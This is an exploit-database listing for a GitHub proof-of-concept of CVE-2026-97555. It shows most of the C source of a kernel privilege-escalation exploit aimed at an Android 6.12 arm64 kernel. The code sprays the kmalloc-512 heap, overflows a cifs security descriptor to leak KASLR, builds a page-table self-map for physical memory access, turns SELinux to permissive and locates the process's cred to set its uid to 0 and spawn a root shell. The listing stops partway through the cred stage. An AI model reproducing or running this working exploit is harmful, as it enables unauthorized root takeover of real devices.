Exploit database

GH-3669333f04cf34e3c2db07190e781390

woshigenm/cve-2026-97555

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-97555

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
woshigenm/cve-2026-97555Revision fd101c18f1b7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/exp.c

C · 75,489 bytes
/*
 * SPDX-License-Identifier: MIT
 * Copyright (C) 2026 woshigenm <[email protected]>
 */

/*
 * CVE-2026-97555 - address-driven end-to-end PTE merge write.
 *
 * The kmalloc-512 cache is fragmented with hundreds of partial slabs, so a
 * fixed spray/hole geometry cannot place the 512-byte cifs security
 * descriptor next to a chosen object.  Instead the driver observes the real
 * payload/array addresses and hunts for an adjacency:
 *
 *   - a kprobe on the return site of the user_key_payload allocation
 *     (user_preparse+0x4c) yields the address of every sprayed key payload;
 *   - a kprobe on the pipe ring resize allocation (pipe_resize_ring+0x48)
 *     yields the address of every 8-slot pipe_buffer array.
 *
 * Leak stage (CPU 7): spray keys and observation pipes, then allocate target
 * pipes one at a time.  A target array at X is usable when X+0x200 is one of
 * our key payloads K and an observation array lies in the victim window
 * [K+184, K+65519) (beyond the 184-byte cross7 write).  Closing that target
 * frees X to the per-CPU freelist head; the chown security descriptor then
 * takes X and the overflow writes the SID into K, setting datalen=0xffff.
 * keyctl_read(K) dumps 64 KiB; the known observation array at A contains
 * pipe_buffer[0] with page P and anon_pipe_buf_ops -> KASLR slide.
 *
 * Trigger stage (CPU 0): hit pipes and target pipes are created interleaved
 * so both kinds of ring array share slabs; the driver then frees eight
 * target slots whose +0x200 neighbour is a live hit pipe array, chowns, and
 * whichever slot the SD lands in (helper count h in 0..6) the cross7
 * overflow rewrites that hit pipe's buffer[0] with page=P, len=0x1234 and
 * ops=default_pipe_buf_ops.  Closing that hit releases P (generic_pipe_buf_
 * release -> __folio_put -> free_unref_page, all visible through the release
 * probes); the fault at base must reclaim P as the PTE page, gated by a
 * kretprobe on __alloc_pages_noprof returning P from a __pte_alloc call
 * site for this pid (pal stays as a secondary buddy-path signal).  Tracing
 * must stay on through the close and the faults: a trace_on(0) before them
 * hides every event the gate needs.  The observation pipe i that produced P
 * is known from the leak, so the merge needs no identity scan.  The
 * pipeline now carries the merge write one step further: the buffer holds
 * 16 bytes, so the merge starts at P+16 and its first eight bytes become a
 * self-map page descriptor for PTE[2]; userland then reaches the page table
 * page itself through base+8 KiB and can copy/rewrite PTE entries.
 *
 * Safety: the merge only happens after the gate passes; the process does
 * not close or read an observation pipe.  In scout/cred modes it clears the
 * crafted PTEs and, in cred mode, execs a shell; otherwise it stays alive.
 * Cleanup is a reboot.
 *
 * Usage: exp <mount-dir> [first] [merge] [keys] [obs] [hit] [cpu1] [cpu2]
 *            [qd-caller] [scout|cred]
 *        the mode may also be given directly in the qd-caller slot
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <limits.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

#ifndef __NR_add_key
#define __NR_add_key 217
#endif
#ifndef __NR_request_key
#define __NR_request_key 218
#endif
#ifndef __NR_keyctl
#define __NR_keyctl 219
#endif

#define KEY_SPEC_USER_KEYRING (-4)
#define KEY_SPEC_USER_SESSION_KEYRING (-5)
#define KEYCTL_SETPERM 5
#define KEYCTL_READ 11
#define KEY_USR_ALL 0x003f0000
#define KEY_POS_ALL 0x3f000000

#define TRACE_PRIMARY "/sys/kernel/tracing"
#define TRACE_FALLBACK "/sys/kernel/debug/tracing"
#define STATUS_FILE "/data/local/tmp/e2e/e2e_status.txt"
#define DUMP_FILE "/data/local/tmp/e2e/leak.bin"
#define GATE_FILE "/data/local/tmp/e2e/gate.txt"
#define TRACE_BUFSZ_KB "4096"

/* Reference build: Android 16 GKI-based 6.12 kernel, arm64, 4 KiB pages,
 * 64-byte struct page (constants derived from its vmlinux/BTF; re-derive
 * for any other build).  The release gate below is a coarse ABI-family
 * check; override it at build time with -DEXP_KERNEL_MATCH='"..."'. */
#ifndef EXP_KERNEL_MATCH
#define EXP_KERNEL_MATCH "6.12."
#endif

/* Static symbol addresses from the reference vmlinux; the runtime slide
 * comes from the leaked anon_pipe_buf_ops pointer:
 * slide = leaked_anon_pipe_buf_ops - ANON_OPS_STATIC. */
#define ANON_OPS_STATIC 0xffffffc0811dd3c8ULL
#define DEFAULT_OPS_STATIC 0xffffffc0811df148ULL
/* vmemmap layout from pfn_to_online_page in the reference build:
 * page = 0xfffffffec0000000 + (pfn - memstart_pfn) * sizeof(struct page).
 * memstart_addr is the lowest System RAM rounded down to 1 GiB (0x80000000)
 * and struct page is 64 bytes.  Every leaked page pointer maps back into a
 * System RAM range from /proc/iomem under this formula. */
#define VMEMMAP_BASE 0xfffffffec0000000ULL
#define MEMSTART_PFN 0x80000ULL
#define STRUCT_PAGE_SHIFT 6

/* task_struct/cred offsets from the reference build's BTF
 * (/sys/kernel/btf/vmlinux; scripts/derive_offsets.sh): comm 2320,
 * cred 2304, real_cred 2296, mm 1672, pid 1800, tgid 1804;
 * cred.uid 8, cred.suid 16, cred.euid 24, cred.fsuid 32.
 * Linear map: va = phys - memstart + PAGE_OFFSET. */
#define TS_COMM_OFF 2320U
#define TS_CRED_OFF 2304U
#define TS_MM_OFF 1672U
#define TS_PID_OFF 1800U
#define TS_TGID_OFF 1804U
#define CRED_UID_OFF 8U
#define CRED_SUID_OFF 16U
#define CRED_EUID_OFF 24U
#define CRED_FSUID_OFF 32U
#define PAGE_OFFSET_VA 0xffffff8000000000ULL
#define MEMSTART_ADDR 0x80000000ULL
#define SCOUT_PTE_FLAGS 0x0028000000000F43ULL

/* Return sites in the matched build: user_preparse's payload kmalloc and
 * pipe_resize_ring's kcalloc (both observed with kprobes). */
#define USER_PREPARSE_RET 0x4c
#define PIPE_RESIZE_RET 0x48

#define PAYLOAD_LEN 488
#define OBS_WRITE 16
#define MERGE_LEN (4096 - OBS_WRITE)
#define MAP_LEN (16UL << 20)
#define PMD_SIZE (2UL << 20)
#define PUD_SIZE (1UL << 30)

#define MAX_KEYS 20000
#define MAX_OBS 2048
#define MAX_HIT 4096
#define MAX_TARGETS 8192

/* kmalloc-512 geometry for the three-slot chown placement plan */
#define KBYTES_SLAB 0x4000ULL
#define KBYTES_SLOT 0x200ULL

struct keyent {
	uint64_t addr;
	long serial;
};

struct addrent {
	uint64_t addr;
	int idx;
};

static const char *g_tr = TRACE_PRIMARY;
static char g_status[PATH_MAX];
static int g_pid;

static void say(const char *fmt, ...)
{
	va_list ap;
	FILE *f;

	va_start(ap, fmt);
	vfprintf(stdout, fmt, ap);
	va_end(ap);
	fputc('\n', stdout);
	fflush(stdout);

	f = fopen(g_status, "a");
	if (f) {
		va_start(ap, fmt);
		vfprintf(f, fmt, ap);
		va_end(ap);
		fputc('\n', f);
		fflush(f);
		fsync(fileno(f));
		fclose(f);
	}
}

static sigjmp_buf g_jb;
static void segv_handler(int sig)
{
	(void)sig;
	siglongjmp(g_jb, 1);
}

static uint32_t rd32(const unsigned char *p)
{
	uint32_t v;

	memcpy(&v, p, sizeof(v));
	return v;
}

static uint64_t rd64(const unsigned char *p)
{
	uint64_t v;

	memcpy(&v, p, sizeof(v));
	return v;
}

static int wr_flags(const char *path, int flags, const char *data,
		    size_t len)
{
	int fd = open(path, O_WRONLY | flags);
	ssize_t n;

	if (fd < 0)
		return -1;
	n = write(fd, data, len);
	close(fd);
	return n == (ssize_t)len ? 0 : -1;
}

static int wr_str(const char *path, const char *s)
{
	return wr_flags(path, O_TRUNC, s, strlen(s));
}

static int tr_path(char *out, size_t n, const char *sub)
{
	return snprintf(out, n, "%s/%s", g_tr, sub);
}

static int trace_init(void)
{
	char p[PATH_MAX];

	tr_path(p, sizeof(p), "kprobe_events");
	if (access(p, W_OK) == 0)
		goto found;
	g_tr = TRACE_FALLBACK;
	tr_path(p, sizeof(p), "kprobe_events");
	if (access(p, W_OK) == 0)
		goto found;
	g_tr = TRACE_PRIMARY;
	return -1;
found:
	tr_path(p, sizeof(p), "buffer_size_kb");
	wr_str(p, TRACE_BUFSZ_KB);
	return 0;
}

static int trace_on(int on)
{
	char p[PATH_MAX];

	tr_path(p, sizeof(p), "tracing_on");
	return wr_str(p, on ? "1" : "0");
}

static int trace_clear(void)
{
	char p[PATH_MAX];

	/* O_TRUNC on open is what resets the ring buffer */
	tr_path(p, sizeof(p), "trace");
	return wr_str(p, "\n");
}

static int probe_add(const char *spec)
{
	char p[PATH_MAX], line[1024];
	int n;

	tr_path(p, sizeof(p), "kprobe_events");
	n = snprintf(line, sizeof(line), "p:%s\n", spec);
	if (n <= 0 || (size_t)n >= sizeof(line))
		return -1;
	return wr_flags(p, O_APPEND, line, (size_t)n);
}

static int probe_add_r(const char *spec)
{
	char p[PATH_MAX], line[1024];
	int n;

	tr_path(p, sizeof(p), "kprobe_events");
	n = snprintf(line, sizeof(line), "r:%s\n", spec);
	if (n <= 0 || (size_t)n >= sizeof(line))
		return -1;
	return wr_flags(p, O_APPEND, line, (size_t)n);
}

static int probe_filter(const char *ev, const char *fmt, ...)
{
	char p[PATH_MAX], expr[512];
	va_list ap;
	int n;

	tr_path(p, sizeof(p), "events/kprobes/");
	snprintf(p + strlen(p), sizeof(p) - strlen(p), "%s/filter", ev);
	va_start(ap, fmt);
	vsnprintf(expr, sizeof(expr), fmt, ap);
	va_end(ap);
	n = wr_str(p, expr);
	if (n)
		say("E2E WARN filter %s failed: %s", ev, expr);
	return n;
}

static int probe_enable(const char *ev, int on)
{
	char p[PATH_MAX];

	tr_path(p, sizeof(p), "events/kprobes/");
	snprintf(p + strlen(p), sizeof(p) - strlen(p), "%s/enable", ev);
	return wr_str(p, on ? "1" : "0");
}

static size_t g_trcap = 32UL << 20;
static char *trace_read(size_t *lenp)
{
	char p[PATH_MAX];
	size_t cap = g_trcap, len = 0;
	char *buf;
	int fd;

	tr_path(p, sizeof(p), "trace");
	fd = open(p, O_RDONLY);
	if (fd < 0) {
		say("E2E trace open failed errno=%d (%s)", errno,
		    strerror(errno));
		return NULL;
	}
	buf = malloc(cap + 1);
	if (!buf) {
		close(fd);
		return NULL;
	}
	while (len < cap) {
		ssize_t n = read(fd, buf + len, cap - len);

		if (n <= 0)
			break;
		len += (size_t)n;
	}
	close(fd);
	buf[len] = 0;
	*lenp = len;
	return buf;
}

static int trace_kp_list(const char *tr, const char *tag, uint64_t *out,
			 int max)
{
	char *copy = strdup(tr);
	char *line;
	int n = 0;

	if (!copy)
		return -1;
	line = strtok(copy, "\n");
	while (line) {
		if (strstr(line, tag)) {
			char *p = strstr(line, "kp=0x");

			if (p && n < max)
				out[n++] = strtoull(p + 5, NULL, 16);
		}
		line = strtok(NULL, "\n");
	}
	free(copy);
	return n;
}

static int trace_kp_last(const char *tr, const char *tag, uint64_t *out)
{
	char *copy = strdup(tr);
	char *line;
	int found = 0;

	if (!copy)
		return -1;
	line = strtok(copy, "\n");
	while (line) {
		if (strstr(line, tag)) {
			char *p = strstr(line, "kp=0x");

			if (p) {
				*out = strtoull(p + 5, NULL, 16);
				found = 1;
			}
		}
		line = strtok(NULL, "\n");
	}
	free(copy);
	return found ? 0 : -1;
}

static int pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set)) {
		say("E2E WARN sched_setaffinity(%d) errno=%d (%s)", cpu,
		    errno, strerror(errno));
		return -1;
	}
	return 0;
}

static void raise_nofile(void)
{
	struct rlimit r;

	if (getrlimit(RLIMIT_NOFILE, &r) == 0 && r.rlim_cur < r.rlim_max) {
		r.rlim_cur = r.rlim_max;
		if (setrlimit(RLIMIT_NOFILE, &r))
			say("E2E WARN setrlimit nofile errno=%d", errno);
	}
}

static void set_permissive(void)
{
	int fd = open("/sys/fs/selinux/enforce", O_RDWR);
	char v = 0;

	if (fd < 0) {
		say("E2E WARN selinux enforce open errno=%d (%s)", errno,
		    strerror(errno));
		return;
	}
	if (read(fd, &v, 1) == 1 && v == '1') {
		lseek(fd, 0, SEEK_SET);
		if (write(fd, "0", 1) == 1)
			say("E2E selinux: set permissive");
		else
			say("E2E WARN selinux: setenforce 0 failed errno=%d",
			    errno);
	}
	close(fd);
}

/* ---- cifs.idmap preload (same geometry as acl_key_preload_pipe.c) ---- */

static int idmap_add_one(const char *desc, const void *payload, size_t len)
{
	long k, r;

	errno = 0;
	k = syscall(__NR_add_key, "cifs.idmap", desc, payload, len,
		    KEY_SPEC_USER_SESSION_KEYRING);
	if (k < 0) {
		say("E2E preload add_key(%s) errno=%d (%s)", desc, errno,
		    strerror(errno));
		return -1;
	}
	syscall(__NR_keyctl, KEYCTL_SETPERM, k, KEY_USR_ALL | KEY_POS_ALL);

	errno = 0;
	r = syscall(__NR_request_key, "cifs.idmap", desc, "",
		    KEY_SPEC_USER_SESSION_KEYRING);
	if (r < 0)
		say("E2E preload request_key(%s) errno=%d (%s)", desc, errno,
		    strerror(errno));

	syscall(__NR_add_key, "cifs.idmap", desc, payload, len,
		KEY_SPEC_USER_KEYRING);
	return 0;
}

static void build_pipe_sid(uint8_t *sid, int group, uint64_t table,
			   uint64_t page)
{
	uint32_t sub[15] = { 0 };

	memset(sid, 0, 68);
	sid[0] = 1;
	sid[1] = 15;
	sid[7] = 5;
	if (!group) {
		sub[3] = (uint32_t)page;
		sub[4] = (uint32_t)(page >> 32);
		sub[6] = 0x00001234;
		sub[7] = (uint32_t)table;
		sub[8] = (uint32_t)(table >> 32);
	}
	memcpy(sid + 8, sub, sizeof(sub));
}

static int preload_sid(unsigned int id, uint64_t table, uint64_t page)
{
	uint8_t owner[68], group[68];
	uint32_t uid = 1000, gid = 1000;
	char desc[64];
	int rc = 0;

	build_pipe_sid(owner, 0, table, page);
	build_pipe_sid(group, 1, table, page);

	snprintf(desc, sizeof(desc), "oi:%u", id);
	rc |= idmap_add_one(desc, owner, sizeof(owner));
	snprintf(desc, sizeof(desc), "gi:%u", id);
	rc |= idmap_add_one(desc, group, sizeof(group));
	rc |= idmap_add_one("os:S-1-5-88-1-1000", &uid, sizeof(uid));
	rc |= idmap_add_one("gs:S-1-5-88-2-1000", &gid, sizeof(gid));
	snprintf(desc, sizeof(desc), "o:%u", id);
	rc |= idmap_add_one(desc, owner, sizeof(owner));
	snprintf(desc, sizeof(desc), "g:%u", id);
	rc |= idmap_add_one(desc, group, sizeof(group));
	rc |= idmap_add_one("o:S-1-5-88-1-1000", &uid, sizeof(uid));
	rc |= idmap_add_one("g:S-1-5-88-2-1000", &gid, sizeof(gid));

	return rc;
}

static void build_leak_sid(uint8_t *sid, uint32_t kind, uint32_t id)
{
	uint32_t sub[15] = { 0 };
	int i;

	memset(sid, 0, 68);
	sid[0] = 1;
	sid[1] = 15;
	sid[7] = 5;
	sub[0] = 88;
	sub[1] = kind;
	sub[2] = id;
	sub[7] = 0x0000FFFF;
	for (i = 0; i < 15; i++)
		memcpy(sid + 8 + i * 4, &sub[i], 4);
}

static int preload_leak_sid(unsigned int id)
{
	uint8_t owner[68], group[68];
	uint32_t uid = 1000, gid = 1000;
	char desc[64];
	int rc = 0;

	build_leak_sid(owner, 1, id);
	build_leak_sid(group, 2, id);

	snprintf(desc, sizeof(desc), "oi:%u", id);
	rc |= idmap_add_one(desc, owner, sizeof(owner));
	snprintf(desc, sizeof(desc), "gi:%u", id);
	rc |= idmap_add_one(desc, group, sizeof(group));
	rc |= idmap_add_one("os:S-1-5-88-1-1000", &uid, sizeof(uid));
	rc |= idmap_add_one("gs:S-1-5-88-2-1000", &gid, sizeof(gid));
	snprintf(desc, sizeof(desc), "o:%u", id);
	rc |= idmap_add_one(desc, owner, sizeof(owner));
	snprintf(desc, sizeof(desc), "g:%u", id);
	rc |= idmap_add_one(desc, group, sizeof(group));
	rc |= idmap_add_one("o:S-1-5-88-1-1000", &uid, sizeof(uid));
	rc |= idmap_add_one("g:S-1-5-88-2-1000", &gid, sizeof(gid));

	return rc;
}

/* ---- user key spray ---- */

static int add_key_idx(int idx, long *serial)
{
	uint8_t payload[PAYLOAD_LEN];
	char desc[32];
	long r;

	memset(payload, 'A' + (idx % 26), PAYLOAD_LEN);
	memcpy(payload, "K512", 4);
	memcpy(payload + 4, &idx, 4);
	memcpy(payload + 8, &idx, 4);
	snprintf(desc, sizeof(desc), "e2e%d-%05d", g_pid, idx);
	errno = 0;
	r = syscall(__NR_add_key, "user", desc, payload, PAYLOAD_LEN,
		    KEY_SPEC_USER_SESSION_KEYRING);
	if (r < 0)
		return -1;
	*serial = r;
	return 0;
}

/* ---- address tables ---- */

static int cmp_key(const void *a, const void *b)
{
	const struct keyent *ka = a, *kb = b;

	if (ka->addr < kb->addr)
		return -1;
	if (ka->addr > kb->addr)
		return 1;
	return 0;
}

static int cmp_addr(const void *a, const void *b)
{
	const struct addrent *ka = a, *kb = b;

	if (ka->addr < kb->addr)
		return -1;
	if (ka->addr > kb->addr)
		return 1;
	return 0;
}

/* bsearch with a keyent/addr bridge */
static int key_index(struct keyent *tab, int n, uint64_t addr)
{
	int lo = 0, hi = n - 1;

	while (lo <= hi) {
		int mid = (lo + hi) / 2;

		if (tab[mid].addr == addr)
			return mid;
		if (tab[mid].addr < addr)
			lo = mid + 1;
		else
			hi = mid - 1;
	}
	return -1;
}

static int addr_index(struct addrent *tab, int n, uint64_t addr)
{
	int lo = 0, hi = n - 1;

	while (lo <= hi) {
		int mid = (lo + hi) / 2;

		if (tab[mid].addr == addr)
			return tab[mid].idx;
		if (tab[mid].addr < addr)
			lo = mid + 1;
		else
			hi = mid - 1;
	}
	return -1;
}

/* Observation array in the victim window, beyond the 184-byte overflow:
 * dump covers [K+24, K+24+65535); entry needs 40 bytes. */
static int obs_in_window(const uint64_t *obs, int n, uint64_t K,
			 uint64_t *out, int *idx_out)
{
	uint64_t lo = K + 184;
	uint64_t hi = K + 24 + 65535 - 0x28;
	int i;

	for (i = 0; i < n; i++) {
		if (obs[i] >= lo && obs[i] <= hi) {
			*out = obs[i];
			*idx_out = i;
			return 0;
		}
	}
	return -1;
}

/* ---- mincore / slots ---- */

static int resident(void *addr)
{
	unsigned char vec = 0xff;
	int r = mincore(addr, 4096, &vec);

	if (r)
		return -1;
	return vec & 1;
}

static int choose_slots(unsigned long map, unsigned long len,
			unsigned long *base_out, unsigned long *pre_out)
{
	unsigned long slots[16];
	unsigned long first = (map + PMD_SIZE - 1) & ~(PMD_SIZE - 1);
	int n = 0, i, j;

	for (i = 0; i < 16 && first + (unsigned long)i * PMD_SIZE + PMD_SIZE
	     <= map + len; i++)
		slots[n++] = first + (unsigned long)i * PMD_SIZE;
	for (i = 0; i < n; i = j) {
		unsigned long region = slots[i] & ~(PUD_SIZE - 1);

		for (j = i; j < n && (slots[j] & ~(PUD_SIZE - 1)) == region;
		     j++)
			;
		if (j - i >= 2) {
			*base_out = slots[i];
			*pre_out = slots[i + 1];
			return 0;
		}
	}
	return -1;
}

static int line_pid(const char *line, int *pid_out)
{
	const char *p = line, *space, *dash;
	char tmp[64];
	size_t n;

	while (*p == ' ' || *p == '\t')
		p++;
	space = strchr(p, ' ');
	if (!space)
		return -1;
	n = (size_t)(space - p);
	if (n >= sizeof(tmp))
		return -1;
	memcpy(tmp, p, n);
	tmp[n] = 0;
	dash = strrchr(tmp, '-');
	if (!dash)
		return -1;
	*pid_out = atoi(dash + 1);
	return 0;
}

static int find_field(const char *line, const char *name, uint64_t *val,
		      int base)
{
	const char *p = strstr(line, name);

	if (!p)
		return -1;
	*val = strtoull(p + strlen(name), NULL, base);
	return 0;
}

/* kretprobe $retval prints as signed decimal unless it carries 0x */
static int parse_ret(const char *line, uint64_t *out)
{
	const char *p = strstr(line, "ret=");

	if (!p)
		return -1;
	if (p[4] == '0' && (p[5] == 'x' || p[5] == 'X'))
		*out = strtoull(p + 4, NULL, 16);
	else
		*out = (uint64_t)strtoll(p + 4, NULL, 10);
	return 0;
}

/* struct page pointer -> PFN under the matched build's vmemmap formula. */
static uint64_t page_pfn(uint64_t page)
{
	if ((page >> 32) != 0xfffffffeULL)
		return 0;
	return MEMSTART_PFN + ((page - VMEMMAP_BASE) >> STRUCT_PAGE_SHIFT);
}

/* kpagecount/kpageflags watches: keeps the refcount of the leaked page
 * visible across the close->fault window without opening files there. */
static int g_kc = -1, g_kf = -1;
static int g_rc0 = -2, g_rc1 = -2, g_e0 = -2, g_e1 = -2;
static uint64_t g_pfn;
static uint64_t g_cnt_leak = ~0ULL, g_flags_leak = ~0ULL;
static uint64_t g_cnt_preclose = ~0ULL, g_flags_preclose = ~0ULL;
static uint64_t g_cnt_postclose = ~0ULL;
static uint64_t g_cnt_postfault = ~0ULL, g_flags_postfault = ~0ULL;

static int pginfo_open(void)
{
	g_kc = open("/proc/kpagecount", O_RDONLY);
	g_kf = open("/proc/kpageflags", O_RDONLY);
	return (g_kc >= 0 && g_kf >= 0) ? 0 : -1;
}

static uint64_t kpage_u64(int fd, uint64_t pfn)
{
	uint64_t v = ~0ULL;

	if (fd < 0 || !pfn)
		return ~0ULL;
	if (pread(fd, &v, sizeof(v), (off_t)(pfn * 8)) != sizeof(v))
		return ~0ULL;
	return v;
}

/* ---- read-only scout: locate this task's task_struct and cred ---- */

static unsigned char *g_spray;
static size_t g_spray_len = 256UL << 20;
static uint64_t g_task_phys;

static void tlb_spray(void)
{
	size_t np, i;

	if (!g_spray)
		return;
	np = g_spray_len >> 12;
	/* Walk the pages in a pseudo-random order so set-indexed or
	 * randomly-replacing TLBs both get a full sweep. */
	for (i = 0; i < np; i++) {
		size_t idx = (size_t)((i * 2654435761ULL) % np);
		(void)*(volatile unsigned char *)(g_spray + (idx << 12));
	}
}

static uint64_t scout_read64(unsigned long base, uint64_t pa)
{
	volatile uint64_t *self = (volatile uint64_t *)(base + 8192);

	self[3] = (pa & 0x0000fffffffff000ULL) | SCOUT_PTE_FLAGS;
	tlb_spray();
	return *(volatile uint64_t *)(base + 3 * 4096 + (pa & 0xfff));
}

/* Map a batch of physical pages through PTE[3..] and look for the task
 * comm.  Hits are validated through pid/tgid and the cred uid/euid; the
 * mapped kernel memory is only ever read. */
static int scout_batch(unsigned long base, const uint64_t *pfns, int n,
		       uint64_t *task_phys, uint64_t *mmp, uint64_t *credp,
		       uint32_t *uidp, uint32_t *euidp)
{
	volatile uint64_t *self = (volatile uint64_t *)(base + 8192);
	int k, o;

	for (k = 0; k < n; k++)
		self[3 + k] = (pfns[k] << 12) & 0x0000fffffffff000ULL;
	for (k = 0; k < n; k++)
		self[3 + k] |= SCOUT_PTE_FLAGS;
	tlb_spray();
	for (k = 0; k < n; k++) {
		const unsigned char *p =
			(const unsigned char *)(base + (3 + k) * 4096);

		for (o = 0; o + 8 <= 4096; o++) {
			uint64_t cphys, tp, mv, cv, u, cp;
			uint32_t pid, tgid, uid, euid;

			if (memcmp(p + o, "cve97555", 8))
				continue;
			cphys = (pfns[k] << 12) + (uint64_t)o;
			tp = cphys - TS_COMM_OFF;
			mv = scout_read64(base, tp + TS_MM_OFF);
			cv = scout_read64(base, tp + TS_CRED_OFF);
			if (mv < 0xffffff8000000000ULL ||
			    mv >= 0xffffffc000000000ULL)
				continue;
			if (cv < 0xffffff8000000000ULL ||
			    cv >= 0xffffffc000000000ULL)
				continue;
			u = scout_read64(base, tp + TS_PID_OFF);
			pid = (uint32_t)u;
			u = scout_read64(base, tp + TS_TGID_OFF);
			tgid = (uint32_t)u;
			if (pid != (uint32_t)getpid() ||
			    tgid != (uint32_t)getpid())
				continue;
			cp = cv - PAGE_OFFSET_VA + MEMSTART_ADDR;
			u = scout_read64(base, cp + CRED_UID_OFF);
			uid = (uint32_t)u;
			u = scout_read64(base, cp + CRED_EUID_OFF);
			euid = (uint32_t)u;
			if (uid != 0 || euid != 0)
				continue;
			*task_phys = tp;
			*mmp = mv;
			*credp = cv;
			*uidp = uid;
			*euidp = euid;
			return 1;
		}
	}
	return 0;
}

/* Re-check the found task page through never-used VAs (PTE[507..509]).
 * The scan walks PTE[3..502]; these three are absent from every batch, so
 * their first access cannot hit a stale TLB entry and the reported pfn is
 * confirmed by a real page walk.  Read-only. */
static int scout_verify(unsigned long base, uint64_t task_phys)
{
	volatile uint64_t *self = (volatile uint64_t *)(base + 8192);
	uint64_t cpa = task_phys + TS_COMM_OFF;
	uint64_t pidpa = task_phys + TS_PID_OFF;
	uint64_t tgpa = task_phys + TS_TGID_OFF;
	const char *p;
	uint32_t pid, tgid;

	self[509] = (cpa & ~0xfffULL) | SCOUT_PTE_FLAGS;
	self[508] = (pidpa & ~0xfffULL) | SCOUT_PTE_FLAGS;
	self[507] = (tgpa & ~0xfffULL) | SCOUT_PTE_FLAGS;
	if ((cpa & 0xfff) > 4088)
		return 0;
	p = (const char *)(base + 509 * 4096 + (cpa & 0xfff));
	if (memcmp(p, "cve97555", 8))
		return 0;
	pid = *(volatile uint32_t *)(base + 508 * 4096 + (pidpa & 0xfff));
	tgid = *(volatile uint32_t *)(base + 507 * 4096 + (tgpa & 0xfff));
	return pid == (uint32_t)getpid() && tgid == (uint32_t)getpid();
}

static int scout_task_cred(unsigned long base, uint64_t page)
{
	const uint64_t lo[2] = { 0x80000ULL, 0x800000ULL };
	const uint64_t hi[2] = { 0x100000ULL, 0xb00000ULL };
	uint64_t *fl;
	uint64_t pfns[500];
	int fd, bi, n = 0, pages = 0, batches = 0, ok = 0;
	uint64_t task_phys = 0, mm = 0, cred = 0;
	uint32_t uid = ~0U, euid = ~0U;

	fd = open("/proc/kpageflags", O_RDONLY);
	if (fd < 0) {
		say("E2E scout WARN no kpageflags");
		return -1;
	}
	/* Allocate the spray before the self-test so the self-test really
	 * exercises the same eviction path the batch scan uses. */
	if (!g_spray) {
		g_spray = mmap(NULL, g_spray_len, PROT_READ | PROT_WRITE,
			       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
		if (g_spray == MAP_FAILED)
			g_spray = NULL;
		else
			madvise(g_spray, g_spray_len, MADV_NOHUGEPAGE);
	}
	{
		/* Mapping self-test with two pages whose contents are known:
		 * the page table page P (PTE[0] at offset 0) and the anon page
		 * of base (byte 0 == 0x41).  The second test also re-maps the
		 * same VA, so it proves the TLB spray between batches. */
		volatile uint64_t *self =
			(volatile uint64_t *)(base + 8192);
		uint64_t pte0 = self[0];
		uint64_t anon_pa = pte0 & 0x0000fffffffff000ULL;
		uint64_t pfn_p = page_pfn(page);

		self[3] = (pfn_p << 12) | SCOUT_PTE_FLAGS;
		tlb_spray();
		say("E2E scout selftest self=%d pte0=0x%llx read=0x%llx rb=0x%llx",
		    *(volatile unsigned char *)(base + 3 * 4096) == 0 ? 1 : 0,
		    (unsigned long long)pte0,
		    (unsigned long long)*(volatile uint64_t *)
			    (base + 3 * 4096),
		    (unsigned long long)self[3]);
		/* PTE[4] has never been touched: its read must walk the new
		 * descriptor, so it separates a bad PTE write from a stale
		 * TLB entry. */
		self[4] = (pfn_p << 12) | SCOUT_PTE_FLAGS;
		say("E2E scout selftest fresh=0x%llx",
		    (unsigned long long)*(volatile uint64_t *)(base + 4 * 4096));
		self[3] = anon_pa | SCOUT_PTE_FLAGS;
		tlb_spray();
		say("E2E scout selftest anon=0x%llx byte=0x%x",
		    (unsigned long long)anon_pa,
		    *(volatile unsigned char *)(base + 3 * 4096));
	}
	fl = malloc((1 << 15) * sizeof(*fl));
	if (!fl) {
		close(fd);
		return -1;
	}
	for (bi = 0; bi < 2 && !ok; bi++) {
		uint64_t pfn = lo[bi];

		while (pfn < hi[bi] && !ok) {
			uint64_t c = hi[bi] - pfn;
			ssize_t r;
			int i, stop = 0;

			if (c > (1 << 15))
				c = 1 << 15;
			r = pread(fd, fl, (size_t)c * 8, (off_t)(pfn * 8));
			if (r != (ssize_t)(c * 8))
				break;
			for (i = 0; i < (int)c && !ok; i++) {
				if (!(fl[i] & (1ULL << 7)))	/* KPF_SLAB */
					continue;
				pfns[n++] = pfn + (uint64_t)i;
				if (n < 500)
					continue;
				pages += n;
				batches++;
				ok = scout_batch(base, pfns, n, &task_phys,
						 &mm, &cred, &uid, &euid);
				n = 0;
				stop = ok;
			}
			if (stop)
				break;
			pfn += c;
		}
	}
	if (!ok && n > 0) {
		pages += n;
		batches++;
		ok = scout_batch(base, pfns, n, &task_phys, &mm, &cred,
				 &uid, &euid);
	}
	close(fd);
	free(fl);
	say("E2E scout scanned=%d batches=%d", pages, batches);
	if (ok) {
		int vf = scout_verify(base, task_phys);

		say("E2E scout %s task_phys=0x%llx task_va=0x%llx mm=0x%llx cred_va=0x%llx cred_phys=0x%llx uid=%u euid=%u verify=%d",
		    vf ? "FOUND" : "FOUND-UNVERIFIED",
		    (unsigned long long)task_phys,
		    (unsigned long long)(task_phys - MEMSTART_ADDR +
					 PAGE_OFFSET_VA),
		    (unsigned long long)mm, (unsigned long long)cred,
		    (unsigned long long)(cred - PAGE_OFFSET_VA +
					 MEMSTART_ADDR),
		    uid, euid, vf);
		if (!vf)
			ok = -1;
		else
			g_task_phys = task_phys;
	} else
		say("E2E scout MISS");
	return ok ? 0 : -1;
}

/* ---- authorized cred stage: uid 2000 -> uid 0 through the self-map ----
 *
 * Only the four kuid_t fields uid/suid/euid/fsuid are zeroed; cap_*,
 * securebits and the gid fields are untouched.  The process first performs a
 * real setresuid(2000) so the kernel allocates a fresh cred; the write then
 * turns a genuine uid-2000 process into uid 0 without any privileged
